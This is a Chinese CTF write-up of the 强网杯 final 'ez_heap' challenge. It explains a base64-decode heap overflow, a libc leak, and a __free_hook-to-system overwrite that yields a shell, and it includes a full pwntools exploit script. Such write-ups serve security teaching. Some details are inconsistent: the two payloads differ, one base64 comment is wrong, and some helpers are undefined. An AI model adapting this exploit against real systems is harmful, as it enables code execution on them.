强网杯决赛 ez_heap详解
字数 686 2025-08-22 12:22:15

强网杯决赛 ez_heap 漏洞利用详解

1. 程序功能分析

该程序主要提供了两种堆操作方式:

  1. encode功能:直接分配指定大小的堆块
  2. decode功能:分配堆块时会先对输入进行base64解码,再存储解码后的内容

关键点在于decode功能的特殊行为:

  • 分配大小计算方式:size = (input_length / 4) * 3
  • 当输入长度不是4的倍数时,会存在最多3字节的溢出可能
  • 利用base64的补全机制可以构造特定大小的堆块

2. 漏洞点分析

2.1 堆溢出漏洞

通过decode功能的分配计算方式,可以构造特定输入来造成堆溢出:

# 构造0x40大小的输入,实际分配0x30(48)字节
decode('a' * 0x40)

2.2 UAF漏洞

通过精心构造的堆布局,可以保留已释放堆块的指针,造成Use-After-Free。

3. 利用步骤详解

3.1 初始堆布局

encode('a' * 0x20)  # 分配一个小堆块
decode('a' * 0x40)  # 分配两个0x30大小的堆块
decode('a' * 0x40)
dele_encode(0)      # 释放第一个堆块

3.2 构造堆重叠

通过精心构造的payload造成堆块重叠:

pl = b"a" * 72 + b"A"  # 72字节 + 1字节 = 73字节
decode(pl)             # (73/4)*3 = 54.75 → 实际分配54字节

这个操作会导致堆块大小被修改为0x80,从而与后续操作形成堆重叠。

3.3 泄露libc地址

# 分配大堆块
encode("C" * 0x360)
encode("C" * 0x20)
dele_encode(0)        # 释放大堆块进入unsorted bin

# 触发泄露
decode("YWFhYWFhYWFh")  # "aaaaaaa"的base64编码
show_de(3)             # 显示内容泄露libc地址

# 计算libc基址
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecf61
leak("libc.address", libc.address)

3.4 修改free_hook

利用堆重叠修改free_hook为system:

# 构造payload修改free_hook
pl = b"A" * 0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
pl = base64.b64encode(pl.ljust(0x70, b"A"))
decode(pl)

# 写入"/bin/sh"和system地址
decode(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
decode(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))

# 触发free("/bin/sh") → system("/bin/sh")
dele_decode(1)

4. 完整利用代码

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

# 设置环境
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# 功能定义
encode_idx = 1
decode_idx = 2
dele_encode_idx = 3
dele_decode_idx = 4
show_en_idx = 5
show_de_idx = 6

def choice(cho):
    sla('Enter your choice: \n', cho)

def encode(content):
    choice(encode_idx)
    sla('Enter the text to encode: \n', content)

def decode(content):
    choice(decode_idx)
    sla('Enter the text to decode: \n', content)

def dele_encode(idx):
    choice(dele_encode_idx)
    sla("idx: \n", idx)

def dele_decode(idx):
    choice(dele_decode_idx)
    sla("idx: \n", idx)

def show_en(idx):
    choice(show_en_idx)
    sla("idx: \n", idx)

def show_de(idx):
    choice(show_de_idx)
    sla("idx: \n", idx)

# 初始堆布局
encode('a' * 0x20)
decode('a' * 0x40)
decode('a' * 0x40)
dele_encode(0)

# 构造堆重叠
pl = b"aa" * (0x38 // 2 + 8) + b"="
decode(pl)

# 泄露libc地址
encode("C" * 0x360)
encode("C" * 0x20)
dele_encode(0)
decode("YWFhYWFhYWFh")  # "aaaaaaa"的base64
show_de(3)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecf61
leak("libc.address", libc.address)

# 清理堆
dele_decode(0)
dele_encode(1)
dele_decode(1)

# 修改free_hook
pl = b"A" * 0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
pl = base64.b64encode(pl.ljust(0x70, b"A"))
decode(pl)

# 写入/bin/sh和system
decode(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
decode(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))

# 触发shell
dele_decode(1)

# 交互模式
itr()

5. 关键点总结

  1. base64解码特性利用:通过非4的倍数的输入长度造成堆溢出
  2. 堆布局构造:精心安排堆块大小和释放顺序以制造堆重叠
  3. unsorted bin泄露:通过释放大堆块到unsorted bin泄露libc地址
  4. free_hook劫持:利用堆重叠修改free_hook为system获取shell

这个利用过程展示了如何结合多种堆漏洞(溢出、UAF)以及libc特性实现完整的漏洞利用链。

强网杯决赛 ez_ heap 漏洞利用详解 1. 程序功能分析 该程序主要提供了两种堆操作方式: encode功能 :直接分配指定大小的堆块 decode功能 :分配堆块时会先对输入进行base64解码,再存储解码后的内容 关键点在于decode功能的特殊行为: 分配大小计算方式: size = (input_length / 4) * 3 当输入长度不是4的倍数时,会存在最多3字节的溢出可能 利用base64的补全机制可以构造特定大小的堆块 2. 漏洞点分析 2.1 堆溢出漏洞 通过decode功能的分配计算方式,可以构造特定输入来造成堆溢出: 2.2 UAF漏洞 通过精心构造的堆布局,可以保留已释放堆块的指针,造成Use-After-Free。 3. 利用步骤详解 3.1 初始堆布局 3.2 构造堆重叠 通过精心构造的payload造成堆块重叠: 这个操作会导致堆块大小被修改为0x80,从而与后续操作形成堆重叠。 3.3 泄露libc地址 3.4 修改free_ hook 利用堆重叠修改free_ hook为system: 4. 完整利用代码 5. 关键点总结 base64解码特性利用 :通过非4的倍数的输入长度造成堆溢出 堆布局构造 :精心安排堆块大小和释放顺序以制造堆重叠 unsorted bin泄露 :通过释放大堆块到unsorted bin泄露libc地址 free_ hook劫持 :利用堆重叠修改free_ hook为system获取shell 这个利用过程展示了如何结合多种堆漏洞(溢出、UAF)以及libc特性实现完整的漏洞利用链。